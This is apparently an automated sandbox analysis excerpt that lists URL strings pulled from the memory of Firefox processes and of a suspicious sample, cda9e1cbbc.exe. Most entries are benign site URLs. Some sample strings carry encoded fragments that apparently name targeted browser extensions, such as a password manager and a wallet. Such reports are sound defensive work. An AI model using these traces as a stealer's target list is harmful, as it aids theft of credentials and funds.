Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E0F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2511627754.000001F401685000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causes
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translation
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translationFX_PICTURE_IN_PICTURE_BACKGROUND_TAB_PLAYING_DURAT
Source: firefox.exe, 0000001C.00000002.2742790289.000001F3FF735000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2749225663.000001F3FFC6E000.00000004.00000800.00020000.00000000.sdmp, places.sqlite-wal.28.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK
Source: firefox.exe, 0000001C.00000003.2518185756.000001F401199000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2758788296.000001F401199000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2515727535.000001F40119D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tc39.github.io/ecma262/#sec-typeof-operator
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://token.services.mozilla.com/1.0/sync/1.5
Source: firefox.exe, 0000001C.00000002.2760366167.000001F40138F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2281091035.000001F40138F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2281091035.000001F40139D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2
Source: firefox.exe, 0000001C.00000002.2760366167.000001F40138F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2281091035.000001F40139D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-3.1
Source: firefox.exe, 0000001C.00000002.2760366167.000001F40138F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2281091035.000001F40138F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2281091035.000001F40139D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4
Source: firefox.exe, 0000001C.00000002.2760366167.000001F40138F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2281091035.000001F40139D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7515#appendix-C)
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 0000001C.00000002.2593833756.000001F3EF503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2733884773.000001F3FEBDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC45A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.combrowser.handlers.migrationsmigrateXULAttributeToStylehttps://monitor.f
Source: firefox.exe, 0000001C.00000002.2767550763.000001F401A5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://webpack.js.org/concepts/mode/)
Source: firefox.exe, 0000001C.00000002.2747208323.000001F3FFAE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB6E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2763620450.000001F401703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: firefox.exe, 0000001C.00000003.2518185756.000001F401199000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2758788296.000001F401199000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2515727535.000001F40119D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).
Source: firefox.exe, 0000001C.00000002.2767550763.000001F401A5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.00000000026BF000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000013.00000002.2574802271.0000000022DE0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC465000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2608969227.000001F3FACB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2542025432.0000020BC86C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2536102355.0000021F9B4F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2219997763.000001F3FEF32000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2496833578.000001F40043C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2494349340.000001F4004F7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2228882591.000001F3FEF87000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2219728703.000001F3FEF1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2267867891.000001F4004E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/extension/pictureinpicture
Source: cda9e1cbbc.exe, 00000013.00000002.2574013937.0000000022CF0000.00000004.00000020.00020000.00000000.sdmp, KKKJKEBK.19.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: firefox.exe, 0000001C.00000002.2593833756.000001F3EF55D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2747208323.000001F3FFAE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2771088874.000001F401D84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: firefox.exe, 0000001C.00000002.2593833756.000001F3EF55D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2747208323.000001F3FFAE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2771088874.000001F401D84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: firefox.exe, 0000001C.00000002.2767550763.000001F401A5E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744297021.000001F3FF836000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E0F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2496833578.000001F40043C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2362207749.000001F4028A5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2356343624.000001F4028A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2220456983.000001F3FEF4A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2218571898.000001F3FED00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2221855699.000001F3FEF63000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2733714551.000001F3FEA70000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000003.2219997763.000001F3FEF32000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2228882591.000001F3FEF87000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2219728703.000001F3FEF1A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/searchcb8e7210-9f0b-48fa-8708-b9a03df79eeaupdateFromRemoteSettings/p
Source: cda9e1cbbc.exe, 00000013.00000003.2300685242.0000000022D68000.00000004.00000020.00020000.00000000.sdmp, KJDGDBFB.19.dr, Web Data.31.dr, KKKJKEBK.19.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/mozIGeckoMediaPluginChromeServiceXPIProvider
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2219997763.000001F3FEF32000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2496833578.000001F40043C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2494349340.000001F4004F7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2228882591.000001F3FEF87000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2219728703.000001F3FEF1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2267867891.000001F4004E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2494349340.000001F4004D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400ED2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?client=firefox-b-d&q=
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/searchLOAD_DOCUMENT_NEEDS_COOKIEget
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: firefox.exe, 0000001C.00000002.2593833756.000001F3EF55D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2747208323.000001F3FFAE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2771088874.000001F401D84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: firefox.exe, 0000001C.00000002.2593833756.000001F3EF55D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2747208323.000001F3FFAE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2771088874.000001F401D84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com
Source: firefox.exe, 0000001C.00000002.2733714551.000001F3FEA70000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.hulu.com/watch/
Source: firefox.exe, 0000001C.00000002.2733714551.000001F3FEA70000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.instagram.com/
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.00000000026BF000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000013.00000002.2574802271.0000000022DE0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC465000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2608969227.000001F3FACB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2542025432.0000020BC86C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2536102355.0000021F9B4F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: firefox.exe, 0000001C.00000002.2744297021.000001F3FF8BD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2593833756.000001F3EF58F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2742790289.000001F3FF74E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC45A000.00000004.00000800.00020000.00000000.sdmp, places.sqlite-wal.28.dr	String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/geolocation/
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/xr/
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
Source: cda9e1cbbc.exe, 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: firefox.exe, 0000001C.00000002.2742790289.000001F3FF735000.00000004.00000800.00020000.00000000.sdmp, places.sqlite-wal.28.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/
Source: cda9e1cbbc.exe, 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: firefox.exe, 0000001C.00000002.2742790289.000001F3FF735000.00000004.00000800.00020000.00000000.sdmp, places.sqlite-wal.28.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: firefox.exe, 0000001C.00000002.2772231477.000001F401EAE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: cda9e1cbbc.exe, 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/ZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBM
Source: cda9e1cbbc.exe, 00000013.00000003.2374024428.0000000022E8A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2742790289.000001F3FF735000.00000004.00000800.00020000.00000000.sdmp, places.sqlite-wal.28.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: cda9e1cbbc.exe, 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/lvYnwxfDB8MHxMYXN0UGFzc3xoZG9raWVqbnBpbWFrZWRoYWpoZGxj
Source: firefox.exe, 0000001C.00000002.2742790289.000001F3FF735000.00000004.00000800.00020000.00000000.sdmp, places.sqlite-wal.28.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/resource://gre/modules/Sqlite.sys.mjsresource://gre/modules/AppU
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: cda9e1cbbc.exe, 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2608969227.000001F3FAC51000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2542025432.0000020BC86C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2536102355.0000021F9B4CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 0000001C.00000002.2706357168.000001F3FC421000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: cda9e1cbbc.exe, 00000013.00000003.2374024428.0000000022E8A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2742790289.000001F3FF735000.00000004.00000800.00020000.00000000.sdmp, places.sqlite-wal.28.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: firefox.exe, 0000001C.00000002.2593833756.000001F3EF58F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org0P
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E0F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2292032711.000001F401EE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com
Source: firefox.exe, 0000001C.00000002.2747208323.000001F3FFAE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.olx.pl/
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB6AF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2612092313.000001F3FADD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/aInstanceID
Source: firefox.exe, 0000001C.00000002.2767550763.000001F401A5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.widevine.com/
